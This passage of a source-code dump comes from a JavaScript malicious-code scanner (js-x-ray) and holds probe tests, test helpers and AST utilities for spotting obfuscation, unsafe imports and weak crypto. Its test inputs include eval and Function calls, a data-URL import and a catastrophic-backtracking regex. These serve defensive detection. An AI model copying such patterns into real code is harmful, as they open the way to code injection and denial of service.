34 | sastAnalysis.execute(ast.body); 35 | 36 | const calls = sastAnalysis.sourceFile.analyzeLiteral.mock.calls; 37 | assert.strictEqual(calls.length, 2); 38 | assert.strictEqual(calls[0].arguments[0].value, 5); 39 | assert.strictEqual(calls[1].arguments[0].value, 10); 40 | }); 41 | 42 | test("it should trigger analyzeLiteral one time (ignoring non-literal Node)", (t) => { 43 | const str = "[5, () => void 0]"; 44 | 45 | const ast = parseScript(str); 46 | const sastAnalysis = getSastAnalysis(str, isArrayExpression); 47 | 48 | t.mock.method(sastAnalysis.sourceFile, "analyzeLiteral"); 49 | sastAnalysis.execute(ast.body); 50 | 51 | const calls = sastAnalysis.sourceFile.analyzeLiteral.mock.calls; 52 | assert.strictEqual(calls.length, 1); 53 | 54 | const literalNode = calls[0].arguments[0]; 55 | assert.strictEqual(literalNode.value, 5); 56 | }); 57 | -------------------------------------------------------------------------------- /test/probes/isBinaryExpression.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { getSastAnalysis, parseScript } from "../utils/index.js"; 7 | import isBinaryExpression from "../../src/probes/isBinaryExpression.js"; 8 | 9 | test("should detect 1 deep binary expression", () => { 10 | const str = "0x1*-0x12df+-0x1fb9*-0x1+0x2*-0x66d"; 11 | const ast = parseScript(str); 12 | const { sourceFile } = getSastAnalysis(str, isBinaryExpression) 13 | .execute(ast.body); 14 | 15 | assert.equal(sourceFile.deobfuscator.deepBinaryExpression, 1); 16 | }); 17 | 18 | test("should not detect deep binary expression", () => { 19 | const str = "10 + 5 - (10)"; 20 | const ast = parseScript(str); 21 | const { sourceFile } = getSastAnalysis(str, isBinaryExpression) 22 | .execute(ast.body); 23 | 24 | assert.equal(sourceFile.deobfuscator.deepBinaryExpression, 0); 25 | }); 26 | -------------------------------------------------------------------------------- /test/probes/isESMExport.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { describe, it } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | describe("probe: isESMExport", () => { 9 | it("should detect ExportNamedDeclaration statement with a Literal source as dependency", () => { 10 | const code = ` 11 | export { foo } from "./bar.js"; 12 | export const bar = "foo"; 13 | `; 14 | const { dependencies } = new AstAnalyser().analyse(code); 15 | 16 | assert.deepEqual( 17 | [...dependencies.keys()], 18 | ["./bar.js"] 19 | ); 20 | }); 21 | 22 | it("should detect ExportAllDeclaration statement as dependency", () => { 23 | const code = ` 24 | export * from "./bar.js"; 25 | `; 26 | const { dependencies } = new AstAnalyser().analyse(code); 27 | 28 | assert.deepEqual( 29 | [...dependencies.keys()], 30 | ["./bar.js"] 31 | ); 32 | }); 33 | }); 34 | 35 | -------------------------------------------------------------------------------- /test/probes/isFetch.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { AstAnalyser } from "../../index.js"; 7 | 8 | test("it should detect native fetch", () => { 9 | const code = `await fetch(url);`; 10 | const { flags } = new AstAnalyser().analyse(code); 11 | 12 | assert.ok(flags.has("fetch")); 13 | assert.strictEqual(flags.size, 1); 14 | }); 15 | -------------------------------------------------------------------------------- /test/probes/isImportDeclaration.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { getSastAnalysis, parseScript } from "../utils/index.js"; 7 | import isImportDeclaration from "../../src/probes/isImportDeclaration.js"; 8 | 9 | test("should detect 1 dependency for an ImportNamespaceSpecifier", () => { 10 | const str = "import * as foo from \"bar\""; 11 | const ast = parseScript(str); 12 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration) 13 | .execute(ast.body); 14 | 15 | const { dependencies } = sourceFile; 16 | assert.ok(dependencies.has("bar")); 17 | }); 18 | 19 | test("should detect 1 dependency for an ImportDefaultSpecifier", () => { 20 | const str = "import foo from \"bar\""; 21 | const ast = parseScript(str); 22 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration) 23 | .execute(ast.body); 24 | 25 | const { dependencies } = sourceFile; 26 | assert.ok(dependencies.has("bar")); 27 | }); 28 | 29 | test("should detect 1 dependency for an ImportSpecifier", () => { 30 | const str = "import { xd } from \"bar\""; 31 | const ast = parseScript(str); 32 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration) 33 | .execute(ast.body); 34 | 35 | const { dependencies } = sourceFile; 36 | assert.ok(dependencies.has("bar")); 37 | }); 38 | 39 | test("should detect 1 dependency with no specificiers", () => { 40 | const str = "import \"bar\""; 41 | const ast = parseScript(str); 42 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration) 43 | .execute(ast.body); 44 | 45 | const { dependencies } = sourceFile; 46 | assert.ok(dependencies.has("bar")); 47 | }); 48 | 49 | test("should detect 1 dependency for an ImportExpression", () => { 50 | const str = "import(\"bar\")"; 51 | const ast = parseScript(str); 52 | const { sourceFile } = getSastAnalysis(str, isImportDeclaration) 53 | .execute(ast.body); 54 | 55 | const { dependencies } = sourceFile; 56 | assert.ok(dependencies.has("bar")); 57 | }); 58 | 59 | test("should detect an unsafe import using data:text/javascript and throw a unsafe-import warning", () => { 60 | const expectedValue = "data:text/javascript;base64,Y29uc29sZS5sb2coJ2hlbGxvIHdvcmxkJyk7Cg=="; 61 | 62 | const importNodes = [ 63 | `import '${expectedValue}';`, 64 | `import('${expectedValue}');` 65 | ]; 66 | 67 | importNodes.forEach((str) => { 68 | const ast = parseScript(str); 69 | const sastAnalysis = getSastAnalysis(str, isImportDeclaration) 70 | .execute(ast.body); 71 | 72 | assert.strictEqual(sastAnalysis.warnings().length, 1); 73 | 74 | const unsafeImport = sastAnalysis.getWarning("unsafe-import"); 75 | assert.strictEqual(unsafeImport.value, expectedValue); 76 | }); 77 | }); 78 | -------------------------------------------------------------------------------- /test/probes/isLiteralRegex.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { getSastAnalysis, parseScript } from "../utils/index.js"; 7 | import isLiteralRegex from "../../src/probes/isLiteralRegex.js"; 8 | 9 | test("should throw a 'unsafe-regex' warning because the given RegExp Literal is unsafe", () => { 10 | const str = "const foo = /(a+){10}/g;"; 11 | const ast = parseScript(str); 12 | const sastAnalysis = getSastAnalysis(str, isLiteralRegex) 13 | .execute(ast.body); 14 | 15 | assert.strictEqual(sastAnalysis.warnings().length, 1); 16 | const result = sastAnalysis.getWarning("unsafe-regex"); 17 | assert.strictEqual(result.value, "(a+){10}"); 18 | }); 19 | -------------------------------------------------------------------------------- /test/probes/isRegexObject.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { getSastAnalysis, parseScript } from "../utils/index.js"; 7 | import isRegexObject from "../../src/probes/isRegexObject.js"; 8 | 9 | test("should not throw a warning because the given Literal RegExp is considered 'safe'", () => { 10 | const str = "const foo = new RegExp('^hello');"; 11 | const ast = parseScript(str); 12 | const sastAnalysis = getSastAnalysis(str, isRegexObject) 13 | .execute(ast.body); 14 | 15 | assert.equal(sastAnalysis.warnings().length, 0); 16 | }); 17 | 18 | test("should throw a 'unsafe-regex' warning because the given RegExp Object is unsafe", () => { 19 | const str = "const foo = new RegExp('(a+){10}');"; 20 | const ast = parseScript(str); 21 | const sastAnalysis = getSastAnalysis(str, isRegexObject) 22 | .execute(ast.body); 23 | 24 | assert.equal(sastAnalysis.warnings().length, 1); 25 | const warning = sastAnalysis.getWarning("unsafe-regex"); 26 | assert.equal(warning.value, "(a+){10}"); 27 | }); 28 | 29 | test("should throw a 'unsafe-regex' warning because the given RegExp Object (with RegExpLiteral) is unsafe", () => { 30 | const str = "const foo = new RegExp(/(a+){10}/);"; 31 | const ast = parseScript(str); 32 | const sastAnalysis = getSastAnalysis(str, isRegexObject) 33 | .execute(ast.body); 34 | 35 | assert.equal(sastAnalysis.warnings().length, 1); 36 | const warning = sastAnalysis.getWarning("unsafe-regex"); 37 | assert.equal(warning.value, "(a+){10}"); 38 | }); 39 | -------------------------------------------------------------------------------- /test/probes/isUnsafeCallee.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { parseScript, getSastAnalysis } from "../utils/index.js"; 7 | import isUnsafeCallee from "../../src/probes/isUnsafeCallee.js"; 8 | 9 | // CONSTANTS 10 | const kWarningUnsafeStmt = "unsafe-stmt"; 11 | 12 | test("should detect eval", () => { 13 | const str = "eval(\"this\");"; 14 | 15 | const ast = parseScript(str); 16 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee) 17 | .execute(ast.body); 18 | 19 | const result = sastAnalysis.getWarning(kWarningUnsafeStmt); 20 | assert.equal(result.kind, kWarningUnsafeStmt); 21 | assert.equal(result.value, "eval"); 22 | }); 23 | 24 | test("should not detect warnings for Function with return this", () => { 25 | const str = "Function(\"return this\")()"; 26 | 27 | const ast = parseScript(str); 28 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee) 29 | .execute(ast.body); 30 | 31 | assert.strictEqual(sastAnalysis.warnings.length, 0); 32 | }); 33 | 34 | test("should detect for unsafe Function statement", () => { 35 | const str = "Function(\"anything in here\")()"; 36 | 37 | const ast = parseScript(str); 38 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee) 39 | .execute(ast.body); 40 | 41 | const result = sastAnalysis.getWarning(kWarningUnsafeStmt); 42 | assert.equal(result.kind, kWarningUnsafeStmt); 43 | assert.equal(result.value, "Function"); 44 | }); 45 | 46 | test("should not detect Function", () => { 47 | const str = "Function('foo');"; 48 | 49 | const ast = parseScript(str); 50 | const sastAnalysis = getSastAnalysis(str, isUnsafeCallee) 51 | .execute(ast.body); 52 | 53 | const result = sastAnalysis.getWarning(kWarningUnsafeStmt); 54 | assert.equal(result, undefined); 55 | }); 56 | -------------------------------------------------------------------------------- /test/probes/isWeakCrypto.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { readFileSync, promises as fs } from "node:fs"; 3 | import { test } from "node:test"; 4 | import assert from "node:assert"; 5 | 6 | // Import Internal Dependencies 7 | import { AstAnalyser } from "../../index.js"; 8 | 9 | // Constants 10 | const FIXTURE_URL = new URL("fixtures/weakCrypto/", import.meta.url); 11 | 12 | test("it should report a warning in case of `createHash()` usage", async() => { 13 | const fixturesDir = new URL("directCallExpression/", FIXTURE_URL); 14 | const fixtureFiles = await fs.readdir(fixturesDir); 15 | 16 | for (const fixtureFile of fixtureFiles) { 17 | const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8"); 18 | const { warnings: outputWarnings } = new AstAnalyser().analyse(fixture); 19 | 20 | const [firstWarning] = outputWarnings; 21 | assert.strictEqual(outputWarnings.length, 1); 22 | assert.deepEqual(firstWarning.kind, "weak-crypto"); 23 | assert.strictEqual(firstWarning.value, fixtureFile.split(".").at(0)); 24 | } 25 | }); 26 | 27 | test("it should report a warning in case of `[expression]createHash()` usage", async() => { 28 | const fixturesDir = new URL("memberExpression/", FIXTURE_URL); 29 | const fixtureFiles = await fs.readdir(fixturesDir); 30 | 31 | for (const fixtureFile of fixtureFiles) { 32 | const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8"); 33 | const { warnings: outputWarnings } = new AstAnalyser().analyse(fixture); 34 | 35 | const [firstWarning] = outputWarnings; 36 | assert.strictEqual(outputWarnings.length, 1); 37 | assert.deepEqual(firstWarning.kind, "weak-crypto"); 38 | assert.strictEqual(firstWarning.value, fixtureFile.split(".").at(0)); 39 | } 40 | }); 41 | 42 | test("it should NOT report a warning in case of `[expression]createHash('sha256')` usage", () => { 43 | const code = ` 44 | import crypto from 'crypto'; 45 | crypto.createHash('sha256'); 46 | `; 47 | const { warnings: outputWarnings } = new AstAnalyser().analyse(code); 48 | 49 | assert.strictEqual(outputWarnings.length, 0); 50 | }); 51 | 52 | test("it should NOT report a warning if crypto.createHash is not imported", () => { 53 | const code = ` 54 | const crypto = { 55 | createHash() {} 56 | } 57 | crypto.createHash('md5'); 58 | `; 59 | const { warnings: outputWarnings } = new AstAnalyser().analyse(code); 60 | 61 | assert.strictEqual(outputWarnings.length, 0); 62 | }); 63 | -------------------------------------------------------------------------------- /test/utils/index.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import * as meriyah from "meriyah"; 3 | import { walk } from "estree-walker"; 4 | 5 | // Import Internal Dependencies 6 | import { SourceFile } from "../../src/SourceFile.js"; 7 | import { ProbeRunner, ProbeSignals } from "../../src/ProbeRunner.js"; 8 | 9 | export function getWarningKind(warnings) { 10 | return warnings.slice().map((warn) => warn.kind).sort(); 11 | } 12 | 13 | export function parseScript(str) { 14 | return meriyah.parseScript(str, { 15 | next: true, 16 | loc: true, 17 | raw: true, 18 | module: true, 19 | globalReturn: false 20 | }); 21 | } 22 | 23 | export function getSastAnalysis( 24 | sourceCodeString, 25 | probe 26 | ) { 27 | return { 28 | sourceFile: new SourceFile(sourceCodeString), 29 | getWarning(warning) { 30 | return this.sourceFile.warnings.find( 31 | (item) => item.kind === warning 32 | ); 33 | }, 34 | warnings() { 35 | return this.sourceFile.warnings; 36 | }, 37 | dependencies() { 38 | return this.sourceFile.dependencies; 39 | }, 40 | execute(body) { 41 | const probeRunner = new ProbeRunner(this.sourceFile, [probe]); 42 | const self = this; 43 | 44 | walk(body, { 45 | enter(node) { 46 | // Skip the root of the AST. 47 | if (Array.isArray(node)) { 48 | return; 49 | } 50 | 51 | self.sourceFile.tracer.walk(node); 52 | 53 | const action = probeRunner.walk(node); 54 | if (action === "skip") { 55 | this.skip(); 56 | } 57 | } 58 | }); 59 | 60 | return this; 61 | } 62 | }; 63 | } 64 | 65 | export const customProbes = [ 66 | { 67 | name: "customProbeUnsafeDanger", 68 | validateNode: (node, sourceFile) => [node.type === "VariableDeclaration" && node.declarations[0].init.value === "danger"] 69 | , 70 | main: (node, options) => { 71 | const { sourceFile, data: calleeName } = options; 72 | if (node.declarations[0].init.value === "danger") { 73 | sourceFile.addWarning("unsafe-danger", calleeName, node.loc); 74 | 75 | return ProbeSignals.Skip; 76 | } 77 | 78 | return null; 79 | } 80 | } 81 | ]; 82 | 83 | export const kIncriminedCodeSampleCustomProbe = "const danger = 'danger'; const stream = eval('require')('stream');"; 84 | export const kWarningUnsafeDanger = "unsafe-danger"; 85 | export const kWarningUnsafeImport = "unsafe-import"; 86 | export const kWarningUnsafeStmt = "unsafe-stmt"; 87 | -------------------------------------------------------------------------------- /test/warnings.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { rootLocation } from "../src/utils/index.js"; 7 | import { generateWarning } from "../src/warnings.js"; 8 | 9 | test("Given an encoded-literal kind it should generate a warning with deep location array", () => { 10 | const result = generateWarning("encoded-literal", { 11 | location: rootLocation() 12 | }); 13 | 14 | assert.deepEqual(result, { 15 | kind: "encoded-literal", 16 | value: null, 17 | source: "JS-X-Ray", 18 | location: [ 19 | [[0, 0], [0, 0]] 20 | ], 21 | i18n: "sast_warnings.encoded_literal", 22 | severity: "Information" 23 | }); 24 | }); 25 | 26 | test("Given a weak-crypto kind it should generate a warning with value, simple location and experimental flag", () => { 27 | const result = generateWarning("weak-crypto", { 28 | value: "md5", 29 | location: rootLocation(), 30 | file: "hello.js" 31 | }); 32 | 33 | assert.deepEqual(result, { 34 | kind: "weak-crypto", 35 | value: "md5", 36 | file: "hello.js", 37 | source: "JS-X-Ray", 38 | location: [ 39 | [0, 0], [0, 0] 40 | ], 41 | i18n: "sast_warnings.weak_crypto", 42 | severity: "Information", 43 | experimental: false 44 | }); 45 | }); 46 | -------------------------------------------------------------------------------- /types/warnings.d.ts: -------------------------------------------------------------------------------- 1 | 2 | export { 3 | Warning, 4 | WarningDefault, 5 | WarningLocation, 6 | WarningName, 7 | WarningNameWithValue 8 | } 9 | 10 | type WarningNameWithValue = "parsing-error" 11 | | "encoded-literal" 12 | | "unsafe-regex" 13 | | "unsafe-stmt" 14 | | "short-identifiers" 15 | | "suspicious-literal" 16 | | "suspicious-file" 17 | | "obfuscated-code" 18 | | "weak-crypto" 19 | | "shady-link"; 20 | type WarningName = WarningNameWithValue | "unsafe-import"; 21 | 22 | type WarningLocation = [[number, number], [number, number]]; 23 | 24 | interface WarningDefault { 25 | kind: T; 26 | file?: string; 27 | value: string; 28 | source: string; 29 | location: null | WarningLocation | WarningLocation[]; 30 | i18n: string; 31 | severity: "Information" | "Warning" | "Critical"; 32 | experimental?: boolean; 33 | } 34 | 35 | type Warning = 36 | T extends { kind: WarningNameWithValue } ? T : Omit; 37 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023-2024 NodeSecure 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@nodesecure/estree-ast-utils", 3 | "version": "1.5.0", 4 | "description": "Utilities for AST (ESTree compliant)", 5 | "type": "module", 6 | "exports": "./src/index.js", 7 | "types": "./src/index.d.ts", 8 | "scripts": { 9 | "lint": "eslint src test", 10 | "test": "node --test", 11 | "check": "npm run lint && npm run test", 12 | "coverage": "c8 -r html npm test" 13 | }, 14 | "repository": { 15 | "type": "git", 16 | "url": "git+https://github.com/NodeSecure/js-x-ray.git" 17 | }, 18 | "keywords": [ 19 | "estree", 20 | "ast", 21 | "utils" 22 | ], 23 | "files": [ 24 | "src" 25 | ], 26 | "author": "GENTILHOMME Thomas ", 27 | "license": "MIT", 28 | "bugs": { 29 | "url": "https://github.com/NodeSecure/js-x-ray/issues" 30 | }, 31 | "homepage": "https://github.com/NodeSecure/js-x-ray/tree/master/workspaces/estree-ast-utils#readme", 32 | "devDependencies": { 33 | "estree-walker": "^3.0.2" 34 | }, 35 | "dependencies": { 36 | "@nodesecure/sec-literal": "^1.1.0" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/arrayExpressionToString.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { VariableTracer } from "./utils/VariableTracer.js"; 3 | 4 | /** 5 | * @param {*} node 6 | * @param {object} options 7 | * @param {VariableTracer} [options.tracer=null] 8 | * @returns {IterableIterator} 9 | */ 10 | 11 | export function* arrayExpressionToString(node, options = {}) { 12 | const { tracer = null } = options; 13 | 14 | if (!node || node.type !== "ArrayExpression") { 15 | return; 16 | } 17 | 18 | for (const row of node.elements) { 19 | switch (row.type) { 20 | case "Literal": { 21 | if (row.value === "") { 22 | continue; 23 | } 24 | 25 | const value = Number(row.value); 26 | yield Number.isNaN(value) ? row.value : String.fromCharCode(value); 27 | break; 28 | } 29 | case "Identifier": { 30 | if (tracer !== null && tracer.literalIdentifiers.has(row.name)) { 31 | yield tracer.literalIdentifiers.get(row.name); 32 | } 33 | break; 34 | } 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/concatBinaryExpression.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { arrayExpressionToString } from "./arrayExpressionToString.js"; 3 | import { VariableTracer } from "./utils/VariableTracer.js"; 4 | 5 | // CONSTANTS 6 | const kBinaryExprTypes = new Set([ 7 | "Literal", 8 | "BinaryExpression", 9 | "ArrayExpression", 10 | "Identifier" 11 | ]); 12 | 13 | /** 14 | * @param {*} node 15 | * @param {object} options 16 | * @param {VariableTracer} [options.tracer=null] 17 | * @param {boolean} [options.stopOnUnsupportedNode=false] 18 | * @returns {IterableIterator} 19 | */ 20 | export function* concatBinaryExpression(node, options = {}) { 21 | const { 22 | tracer = null, 23 | stopOnUnsupportedNode = false 24 | } = options; 25 | const { left, right } = node; 26 | 27 | if ( 28 | stopOnUnsupportedNode && 29 | (!kBinaryExprTypes.has(left.type) || !kBinaryExprTypes.has(right.type)) 30 | ) { 31 | throw new Error("concatBinaryExpression:: Unsupported node detected"); 32 | } 33 | 34 | for (const childNode of [left, right]) { 35 | switch (childNode.type) { 36 | case "BinaryExpression": { 37 | yield* concatBinaryExpression(childNode, { 38 | tracer, 39 | stopOnUnsupportedNode 40 | }); 41 | break; 42 | } 43 | case "ArrayExpression": { 44 | yield* arrayExpressionToString(childNode, { tracer }); 45 | break; 46 | } 47 | case "Literal": 48 | yield childNode.value; 49 | break; 50 | case "Identifier": 51 | if (tracer !== null && tracer.literalIdentifiers.has(childNode.name)) { 52 | yield tracer.literalIdentifiers.get(childNode.name); 53 | } 54 | break; 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/extractLogicalExpression.js: -------------------------------------------------------------------------------- 1 | 2 | export function* extractLogicalExpression( 3 | node 4 | ) { 5 | if (node.type !== "LogicalExpression") { 6 | return; 7 | } 8 | 9 | if (node.left.type === "LogicalExpression") { 10 | yield* extractLogicalExpression(node.left); 11 | } 12 | else { 13 | yield { operator: node.operator, node: node.left }; 14 | } 15 | 16 | if (node.right.type === "LogicalExpression") { 17 | yield* extractLogicalExpression(node.right); 18 | } 19 | else { 20 | yield { operator: node.operator, node: node.right }; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/getCallExpressionArguments.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { Hex } from "@nodesecure/sec-literal"; 3 | 4 | // Import Internal Dependencies 5 | import { concatBinaryExpression } from "./concatBinaryExpression.js"; 6 | 7 | export function getCallExpressionArguments(node, options = {}) { 8 | const { tracer = null } = options; 9 | 10 | if (node.type !== "CallExpression" || node.arguments.length === 0) { 11 | return null; 12 | } 13 | 14 | const literalsNode = []; 15 | for (const arg of node.arguments) { 16 | switch (arg.type) { 17 | case "Identifier": { 18 | if (tracer !== null && tracer.literalIdentifiers.has(arg.name)) { 19 | literalsNode.push(tracer.literalIdentifiers.get(arg.name)); 20 | } 21 | 22 | break; 23 | } 24 | case "Literal": { 25 | literalsNode.push(hexToString(arg.value)); 26 | 27 | break; 28 | } 29 | case "BinaryExpression": { 30 | const concatenatedBinaryExpr = [...concatBinaryExpression(arg, { tracer })].join(""); 31 | if (concatenatedBinaryExpr !== "") { 32 | literalsNode.push(concatenatedBinaryExpr); 33 | } 34 | 35 | break; 36 | } 37 | } 38 | } 39 | 40 | return literalsNode.length === 0 ? null : literalsNode; 41 | } 42 | 43 | function hexToString(value) { 44 | return Hex.isHex(value) ? Buffer.from(value, "hex").toString() : value; 45 | } 46 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/getCallExpressionIdentifier.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { getMemberExpressionIdentifier } from "./getMemberExpressionIdentifier.js"; 3 | import { VariableTracer } from "./utils/VariableTracer.js"; 4 | 5 | /** 6 | * @param {any} node 7 | * @param {object} options 8 | * @param {VariableTracer} [options.tracer=null] 9 | * @param {boolean} [options.resolveCallExpression=true] 10 | * @returns {string | null} 11 | */ 12 | export function getCallExpressionIdentifier(node, options = {}) { 13 | if (node.type !== "CallExpression") { 14 | return null; 15 | } 16 | const { tracer = null, resolveCallExpression = true } = options; 17 | 18 | if (node.callee.type === "Identifier") { 19 | return node.callee.name; 20 | } 21 | if (node.callee.type === "MemberExpression") { 22 | return [ 23 | ...getMemberExpressionIdentifier(node.callee, { tracer }) 24 | ].join("."); 25 | } 26 | 27 | return resolveCallExpression ? 28 | getCallExpressionIdentifier(node.callee, { tracer }) : null; 29 | } 30 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/getMemberExpressionIdentifier.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { Hex } from "@nodesecure/sec-literal"; 3 | 4 | // Import Internal Dependencies 5 | import { concatBinaryExpression } from "./concatBinaryExpression.js"; 6 | import { VariableTracer } from "./utils/VariableTracer.js"; 7 | 8 | /** 9 | * Return the complete identifier of a MemberExpression 10 | * 11 | * @param {any} node 12 | * @param {object} options 13 | * @param {VariableTracer} [options.tracer=null] 14 | * @returns {IterableIterator} 15 | */ 16 | export function* getMemberExpressionIdentifier(node, options = {}) { 17 | const { tracer = null } = options; 18 | 19 | switch (node.object.type) { 20 | // Chain with another MemberExpression 21 | case "MemberExpression": 22 | yield* getMemberExpressionIdentifier(node.object, options); 23 | break; 24 | case "Identifier": 25 | yield node.object.name; 26 | break; 27 | // Literal is used when the property is computed 28 | case "Literal": 29 | yield node.object.value; 30 | break; 31 | } 32 | 33 | switch (node.property.type) { 34 | case "Identifier": { 35 | if (tracer !== null && tracer.literalIdentifiers.has(node.property.name)) { 36 | yield tracer.literalIdentifiers.get(node.property.name); 37 | } 38 | else { 39 | yield node.property.name; 40 | } 41 | 42 | break; 43 | } 44 | // Literal is used when the property is computed 45 | case "Literal": 46 | yield node.property.value; 47 | break; 48 | 49 | // foo.bar[callexpr()] 50 | case "CallExpression": { 51 | const args = node.property.arguments; 52 | if (args.length > 0 && args[0].type === "Literal" && Hex.isHex(args[0].value)) { 53 | yield Buffer.from(args[0].value, "hex").toString(); 54 | } 55 | break; 56 | } 57 | 58 | // foo.bar["k" + "e" + "y"] 59 | case "BinaryExpression": { 60 | const literal = [...concatBinaryExpression(node.property, options)].join(""); 61 | if (literal.trim() !== "") { 62 | yield literal; 63 | } 64 | break; 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /workspaces/estree-ast-utils/src/getVariableDeclarationIdentifiers.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { notNullOrUndefined } from "./utils/index.js"; 3 | 4 | export function* getVariableDeclarationIdentifiers(node, options = {}) { 5 | const { prefix = null } = options; 6 | 7 | switch (node.type) { 8 | case "VariableDeclaration": { 9 | for (const variableDeclarator of node.declarations) { 10 | yield* getVariableDeclarationIdentifiers(variableDeclarator.id); 11 | } 12 | 13 | break; 14 | } 15 | 16 | case "VariableDeclarator": 17 | yield* getVariableDeclarationIdentifiers(node.id); 18 | 19 | break; 20 | 21 | case "Identifier": 22 | yield { name: autoPrefix(node.name, prefix), assignmentId: node }; 23 | 24 | break; 25 | 26 | case "Property": { 27 | if (node.kind !== "init") { 28 | break; 29 | } 30 | 31 | if (node.value.type === "ObjectPattern" || node.value.type === "ArrayPattern") { 32 | yield* getVariableDeclarationIdentifiers(node.value, { 33 | prefix: autoPrefix(node.key.name, prefix) 34 | }); 35 | break; 36 | } 37 | 38 | let assignmentId = node.key; 39 | if (node.value.type === "Identifier") { 40 | assignmentId = node.value; 41 | } 42 | else if (node.value.type === "AssignmentPattern") { 43 | assignmentId = node.value.left; 44 | } 45 | 46 | yield { name: autoPrefix(node.key.name, prefix), assignmentId }; 47 | 48 | break; 49 | } 50 | 51 | /** 52 | * Rest syntax (in ArrayPattern or ObjectPattern for example) 53 | * const [...foo] = [] 54 | * const {...foo} = {} 55 | */ 56 | case "RestElement": 57 | yield { name: autoPrefix(node.argument.name, prefix), assignmentId: node.argument }; 58 | 59 | break; 60 | 61 | /** 62 | * (foo = 5) 63 | */ 64 | case "AssignmentExpression": 65 | yield* getVariableDeclarationIdentifiers(node.left); 66 | 67 | break; 68 | 69 | /** 70 | * const [{ foo }] = [] 71 | * const [foo = 10] = [] 72 | * ↪ Destructuration + Assignement of a default value 73 | */ 74 | case "AssignmentPattern": 75 | if (node.left.type === "Identifier") { 76 | yield node.left.name; 77 | } 78 | else { 79 | yield* getVariableDeclarationIdentifiers(node.left); 80 | } 81 | 82 | break; 83 | 84 | /** 85 | * const [foo] = []; 86 | * ↪ Destructuration of foo is an ArrayPattern 87 | */ 88 | case "ArrayPattern": 89 | yield* node.elements 90 | .filter(notNullOrUndefined) 91 | .map((id) => [...getVariableDeclarationIdentifiers(id)]).flat(); 92 | 93 | break; 94 | 95 | /** 96 | * const {foo} = {}; 97 | * ↪ Destructuration of foo is an ObjectPattern 98 | */ 99 | case "ObjectPattern": 100 | yield* node.properties 101 | .filter(notNullOrUndefined) 102 | .map((property) => [...getVariableDeclarationIdentifiers(property)]).flat(); 103 | 104 | break; 105 | } 106 | } 107 | 108 | function autoPrefix(name, prefix = null) { 109 | return typeof 